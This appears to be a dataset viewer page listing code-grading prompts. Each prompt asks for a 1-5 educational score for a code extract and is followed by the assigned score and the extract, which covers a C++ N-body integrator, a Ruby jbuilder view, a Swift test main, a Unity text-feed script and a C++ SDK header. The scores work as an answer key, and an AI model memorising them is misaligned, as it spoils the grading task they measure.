- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
namespace NBody{
int n;
double * mass = NULL;
double * invMass = NULL;
ODEintegrator_RKF45 solver;
void forces( double t, int n_doubles, double * Ys, double * dYs ){
//printf( "DEBUG forces 1 \n" );
Vec3d * rs = ( Vec3d * )Ys ;
Vec3d * vs = (( Vec3d * )Ys ) + n ;
Vec3d * drs = ( Vec3d * )dYs ;
Vec3d * dvs = (( Vec3d * )dYs ) + n ;
//printf( "DEBUG forces 2 \n" );
for( int ia = 0; ia<n; ia++ ){
Vec3d f; f.set(0.0d);
Vec3d ra; ra.set( rs[ia] );
double ma = mass[ia];
for( int ib = 0; ib<n; ib++ ){
if( ia!=ib )gravity_force( rs[ib] - ra, GRAV_CONTS*ma*mass[ib], f );
}
drs[ ia ].set ( vs[ia] );
dvs[ ia ].set_mul( f , invMass[ia] );
}
//printf( " DEBUG dY: " ); for( int i=0; i<n_doubles; i++ ){ printf( " %e ", dYs[i] ); }; printf( " \n" );
//printf( "DEBUG forces end \n" );
//exit(0);
};
void reallocate( int n_ ){
n = n_;
solver.reallocate( 6*n );
if( mass != NULL ) delete mass;
if( invMass != NULL ) delete invMass;
mass = new double[ n ];
invMass = new double[ n ];
}
void setup( int n_, double * mass_, double * poss, double * vs, double * errs ){
//printf( " Y, dY %i %i \n", NBody::solver.Y, NBody::solver.dY );
reallocate(n_);
//printf( " solver allocated to %i %i %i \n", NBody::solver.n, sizeof(NBody::solver.Y), sizeof(NBody::solver.dY) );
int n3 = 3*n;
solver.getDerivs = forces;
for (int i=0; i<n; i++ ){
int i3 = 3*i;
mass[i] = mass_ [i];
invMass[i] = 1/mass_ [i];
solver.t = 0;
solver.Y[ i3 ] = poss [i3 ];
solver.Y[ i3+1 ] = poss [i3+1];
solver.Y[ i3+2 ] = poss [i3+2];
solver.Y[ n3+i3 ] = vs [i3 ];
solver.Y[ n3+i3+1 ] = vs [i3+1];
solver.Y[ n3+i3+2 ] = vs [i3+2];
double rErr = 1/errs[ (i<<1) ];
double vErr = 1/errs[ (i<<1) + 1 ];
solver.invMaxYerr[ n3+i3 ] = rErr;
solver.invMaxYerr[ n3+i3+1 ] = rErr;
solver.invMaxYerr[ n3+i3+2 ] =
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
namespace NBody{
int n;
double * mass = NULL;
double * invMass = NULL;
ODEintegrator_RKF45 solver;
void forces( double t, int n_doubles, double * Ys, double * dYs ){
//printf( "DEBUG forces 1 \n" );
Vec3d * rs = ( Vec3d * )Ys ;
Vec3d * vs = (( Vec3d * )Ys ) + n ;
Vec3d * drs = ( Vec3d * )dYs ;
Vec3d * dvs = (( Vec3d * )dYs ) + n ;
//printf( "DEBUG forces 2 \n" );
for( int ia = 0; ia<n; ia++ ){
Vec3d f; f.set(0.0d);
Vec3d ra; ra.set( rs[ia] );
double ma = mass[ia];
for( int ib = 0; ib<n; ib++ ){
if( ia!=ib )gravity_force( rs[ib] - ra, GRAV_CONTS*ma*mass[ib], f );
}
drs[ ia ].set ( vs[ia] );
dvs[ ia ].set_mul( f , invMass[ia] );
}
//printf( " DEBUG dY: " ); for( int i=0; i<n_doubles; i++ ){ printf( " %e ", dYs[i] ); }; printf( " \n" );
//printf( "DEBUG forces end \n" );
//exit(0);
};
void reallocate( int n_ ){
n = n_;
solver.reallocate( 6*n );
if( mass != NULL ) delete mass;
if( invMass != NULL ) delete invMass;
mass = new double[ n ];
invMass = new double[ n ];
}
void setup( int n_, double * mass_, double * poss, double * vs, double * errs ){
//printf( " Y, dY %i %i \n", NBody::solver.Y, NBody::solver.dY );
reallocate(n_);
//printf( " solver allocated to %i %i %i \n", NBody::solver.n, sizeof(NBody::solver.Y), sizeof(NBody::solver.dY) );
int n3 = 3*n;
solver.getDerivs = forces;
for (int i=0; i<n; i++ ){
int i3 = 3*i;
mass[i] = mass_ [i];
invMass[i] = 1/mass_ [i];
solver.t = 0;
solver.Y[ i3 ] = poss [i3 ];
solver.Y[ i3+1 ] = poss [i3+1];
solver.Y[ i3+2 ] = poss [i3+2];
solver.Y[ n3+i3 ] = vs [i3 ];
solver.Y[ n3+i3+1 ] = vs [i3+1];
solver.Y[ n3+i3+2 ] = vs [i3+2];
double rErr = 1/errs[ (i<<1) ];
double vErr = 1/errs[ (i<<1) + 1 ];
solver.invMaxYerr[ n3+i3 ] = rErr;
solver.invMaxYerr[ n3+i3+1 ] = rErr;
solver.invMaxYerr[ n3+i3+2 ] = rErr;
solver.invMaxYerr[ n3+i3 ] = vErr;
solver.invMaxYerr[ n3+i3+1 ] = vErr;
solver.invMaxYerr[ n3+i3+2 ] = vErr;
printf( " n,i,m %i %i %e %e r %e %e %e v %e %e %e \n", NBody::n, i, mass [i], invMass [i], poss[i3],poss[i3+1],poss[i3+2], vs[i3],vs[i3+1],vs[i3+2] );
}
}
void run( double dt_start, double dt_min, double dt_max, int nstep, double * tsIn, double * tsOut, double * poss, double * vs ){
int i0 = 0;
int n3 = 3*n;
solver.dt_min = dt_min;
solver.dt_max = dt_max;
for (int istep=0; istep<nstep; istep++ ){
//printf( " istep nstep %i %i \n", istep, nstep );
double tend = tsIn[ istep ];
solver.integrate_adaptive( dt_start, tend );
//printf( " .integrate_adaptive DONE \n" );
tsOut[istep] = solver.t;
//printf( " DEBUG solver.Y: " ); for( int i=0; i<solver.n; i++ ){ printf( " %e ", solver.Y[i] ); }; printf( " \n" );
//printf( " store trajectory \n" );
for (int ia=0; ia<n; ia++ ){
int i3 = ia*3;
//printf( " write to index %i %i %i %i %i\n", i0,i0+2, i3, i3+n3+2, solver.n );
poss[ i0 ] = solver.Y[ i3 ];
poss[ i0+1 ] = solver.Y[ i3 +1 ];
poss[ i0+2 ] = solver.Y[ i3 +2 ]; i3+=n3;
vs [ i0 ] = solver.Y[ i3 ];
vs [ i0+1 ] = solver.Y[ i3 +1 ];
vs [ i0+2 ] = solver.Y[ i3 +2 ];
i0 += 3;
}
//printf( " store DONE \n" );
}
//printf( " run DONE \n" );
}
}
|
Below is an extract from a Ruby program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Ruby code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Ruby concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., metaprogramming, blocks). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Ruby. It should be similar to a school exercise, a tutorial, or a Ruby course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Ruby. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
json.extract! peticion, :id, :user1, :user2, :estado, :created_at, :updated_at
json.url peticion_url(peticion, format: :json)
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
ruby
| 2 |
json.extract! peticion, :id, :user1, :user2, :estado, :created_at, :updated_at
json.url peticion_url(peticion, format: :json)
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import XCTest
@testable import NotNilChallengeTests
XCTMain([
testCase(NotNilChallengeTests.allTests),
])
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 1 |
import XCTest
@testable import NotNilChallengeTests
XCTMain([
testCase(NotNilChallengeTests.allTests),
])
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
// For conditions of distribution and use, see copyright notice in LICENSE
#pragma once
#include "IAssetTransfer.h"
/// Utility class for identifying HTTP asset transfers for another types of asset transfers.
class HttpAssetTransfer : public IAssetTransfer
{
Q_OBJECT
public:
};
typedef shared_ptr<HttpAssetTransfer> HttpAssetTransferPtr;
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
// For conditions of distribution and use, see copyright notice in LICENSE
#pragma once
#include "IAssetTransfer.h"
/// Utility class for identifying HTTP asset transfers for another types of asset transfers.
class HttpAssetTransfer : public IAssetTransfer
{
Q_OBJECT
public:
};
typedef shared_ptr<HttpAssetTransfer> HttpAssetTransferPtr;
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class PutSentence : MonoBehaviour
{
/// <summary>/// 文字送り速度/// </summary>
const float charFeedSpeed = 0.1f;
/// <summary>/// 表示用のTextComponent/// </summary>
[SerializeField] Text text;
/// <summary>/// /// </summary>
//TextStorage textContena = new TextStorage();
/// <summary>/// 現在表示している文字列/// </summary>
string sentence;
/// <summary>/// /// </summary>
int charCount = 0;
/// <summary>コルーチンが終了しているか </summary>
bool end = true;
///// <summary>全文表示しているか</summary>
//public bool onoff;
/// <summary>コルーチンを保存する</summary>
IEnumerator feedCoroutine;
[SerializeField] Text nameArea;
public bool End { get { return end; } set { end = value; } }
void Awake()
{
Init();
}
public void Init()
{
text.text = "";
nameArea.text = "";
}
/// <summary>引数のStringを一文字ずつ表示する。endがtrueならコルーチンが終了</summary>
public IEnumerator SentenceFeed(string s)
{
sentence = s;
text.text = "";
for (charCount = 0; charCount < sentence.Length; charCount++)
{
text.text += sentence[charCount];
yield return new WaitForSeconds(charFeedSpeed);
}
End = true;
}
/// <summary>テキストをすべて表示する。</summary>
public void FullTexts()
{
if (feedCoroutine != null) { StopCoroutine(feedCoroutine); }
text.text = sentence;
End = true;
}
/// <summary>コルーチンを開始</summary>
public void CallSentence(string s, string n)
{
nameArea.text = n;
if (End)
{
feedCoroutine = SentenceFeed(s);
StartCoroutine(feedCoroutine);
End = false;
}
else
{
FullTexts();
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| 3 |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class PutSentence : MonoBehaviour
{
/// <summary>/// 文字送り速度/// </summary>
const float charFeedSpeed = 0.1f;
/// <summary>/// 表示用のTextComponent/// </summary>
[SerializeField] Text text;
/// <summary>/// /// </summary>
//TextStorage textContena = new TextStorage();
/// <summary>/// 現在表示している文字列/// </summary>
string sentence;
/// <summary>/// /// </summary>
int charCount = 0;
/// <summary>コルーチンが終了しているか </summary>
bool end = true;
///// <summary>全文表示しているか</summary>
//public bool onoff;
/// <summary>コルーチンを保存する</summary>
IEnumerator feedCoroutine;
[SerializeField] Text nameArea;
public bool End { get { return end; } set { end = value; } }
void Awake()
{
Init();
}
public void Init()
{
text.text = "";
nameArea.text = "";
}
/// <summary>引数のStringを一文字ずつ表示する。endがtrueならコルーチンが終了</summary>
public IEnumerator SentenceFeed(string s)
{
sentence = s;
text.text = "";
for (charCount = 0; charCount < sentence.Length; charCount++)
{
text.text += sentence[charCount];
yield return new WaitForSeconds(charFeedSpeed);
}
End = true;
}
/// <summary>テキストをすべて表示する。</summary>
public void FullTexts()
{
if (feedCoroutine != null) { StopCoroutine(feedCoroutine); }
text.text = sentence;
End = true;
}
/// <summary>コルーチンを開始</summary>
public void CallSentence(string s, string n)
{
nameArea.text = n;
if (End)
{
feedCoroutine = SentenceFeed(s);
StartCoroutine(feedCoroutine);
End = false;
}
else
{
FullTexts();
}
}
}
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// PlatformSDK.h
// Unity-iPhone
//
// Created by loco on 14-8-26.
//
//
#ifndef __Unity_iPhone__PlatformSDK__
#define __Unity_iPhone__PlatformSDK__
#include <iostream>
struct PlatformUserInfo
{
std::string channelID; // 渠道标识
std::string channelUserID; // 平台id
std::string channelUserName; // 平台name
std::string session; // SDK相关的令牌
std::string gameKey; // 游戏key
std::string gameId; // 游戏id
};
class CPlatformListener {
public:
virtual void onLoginSuccess(PlatformUserInfo *userInfo) {}
virtual void onLoginFailed() {}
virtual void onLogout() {}
virtual void onPaySuccess(const char * order) {}
virtual void onPayFailed() {}
};
class CPlatformSDK {
public:
CPlatformSDK();
~CPlatformSDK() {}
public:
static CPlatformSDK * sharedPlatformSDK();
virtual void beforeInit() {}
virtual void initSDK();
virtual void destroySDK();
virtual void showFloatToolBar() {}
virtual void hideFloatToolBar() {}
void login();
virtual const char *getUserId();
virtual void onPause() {}
virtual void onResume() {}
void verifyLogin(const char *uin, const char *token);
/// 支付接口
// unitId 虚拟货币id
// unitName 虚拟货币名称
// count 购买虚拟货币数量
// total 定额支付总金额，单位为分
// callBackInfo 开发者自定义参数
void buyProduct(const char *unitId, const char *unitName, int count, int total, const char *callBackInfo);
// 一些渠道充值需要传serverId
void setServerId(const char *serverId) { m_serverId = std::string(serverId); }
virtual void handleURL(const char* url) {}
void setListener(CPlatformListener *listener);
void onInitSuccess();
void onLoginSuccess(const char *jsonStr);
void onLoginFailed();
void onPaySuccess(const char *order);
void onPayFailed();
void onLogout();
bool isLogined() { return m_isLogined; }
bool isSupportFunction(const char *funcName);
virtual bool isSupp
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
//
// PlatformSDK.h
// Unity-iPhone
//
// Created by loco on 14-8-26.
//
//
#ifndef __Unity_iPhone__PlatformSDK__
#define __Unity_iPhone__PlatformSDK__
#include <iostream>
struct PlatformUserInfo
{
std::string channelID; // 渠道标识
std::string channelUserID; // 平台id
std::string channelUserName; // 平台name
std::string session; // SDK相关的令牌
std::string gameKey; // 游戏key
std::string gameId; // 游戏id
};
class CPlatformListener {
public:
virtual void onLoginSuccess(PlatformUserInfo *userInfo) {}
virtual void onLoginFailed() {}
virtual void onLogout() {}
virtual void onPaySuccess(const char * order) {}
virtual void onPayFailed() {}
};
class CPlatformSDK {
public:
CPlatformSDK();
~CPlatformSDK() {}
public:
static CPlatformSDK * sharedPlatformSDK();
virtual void beforeInit() {}
virtual void initSDK();
virtual void destroySDK();
virtual void showFloatToolBar() {}
virtual void hideFloatToolBar() {}
void login();
virtual const char *getUserId();
virtual void onPause() {}
virtual void onResume() {}
void verifyLogin(const char *uin, const char *token);
/// 支付接口
// unitId 虚拟货币id
// unitName 虚拟货币名称
// count 购买虚拟货币数量
// total 定额支付总金额，单位为分
// callBackInfo 开发者自定义参数
void buyProduct(const char *unitId, const char *unitName, int count, int total, const char *callBackInfo);
// 一些渠道充值需要传serverId
void setServerId(const char *serverId) { m_serverId = std::string(serverId); }
virtual void handleURL(const char* url) {}
void setListener(CPlatformListener *listener);
void onInitSuccess();
void onLoginSuccess(const char *jsonStr);
void onLoginFailed();
void onPaySuccess(const char *order);
void onPayFailed();
void onLogout();
bool isLogined() { return m_isLogined; }
bool isSupportFunction(const char *funcName);
virtual bool isSupportLogout() { return false; }
virtual bool isSupportSwitchAccount() { return false; }
virtual bool isSupportEnterPlatform() { return false; }
virtual void enterPlatform() {}
virtual void logout() {}
virtual void switchPlatform() {}
virtual const char * getChannelName() { return ""; }
std::string getAppId()
{
return m_appId;
}
std::string getAppKey()
{
return m_appKey;
}
std::string getGameId()
{
return m_gameId;
}
std::string getGameKey()
{
return m_gameKey;
}
bool isLandscape()
{
return m_orientation == "landscape";
}
std::string getLoginVerifyUrl(const char *uin, const char *access_token);
std::string getPayRequestUrl(const char *unitId, int count, int total, const char *callBackInfo);
std::string getPayNotifyUrl()
{
return m_payNotifyUrl;
}
std::string getAppName()
{
return m_appName;
}
std::string getServerId()
{
return m_serverId;
}
protected:
virtual void doLogin() {}
virtual void doPay(const char *order, const char *unitId, const char *unitName, int count, int total, const char *callBackInfo) {}
private:
std::string m_appId;
std::string m_appKey;
std::string m_gameId;
std::string m_gameKey;
std::string m_orientation;
std::string m_loginVerifyUrl;
std::string m_payRequestUrl;
std::string m_payNotifyUrl;
std::string m_appName;
std::string m_serverId;
CPlatformListener *m_listener;
PlatformUserInfo m_userInfo;
bool m_isInitialized;
bool m_isLoginAfterInit;
bool m_isLogined;
};
#endif /* defined(__Unity_iPhone__PlatformSDK__) */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.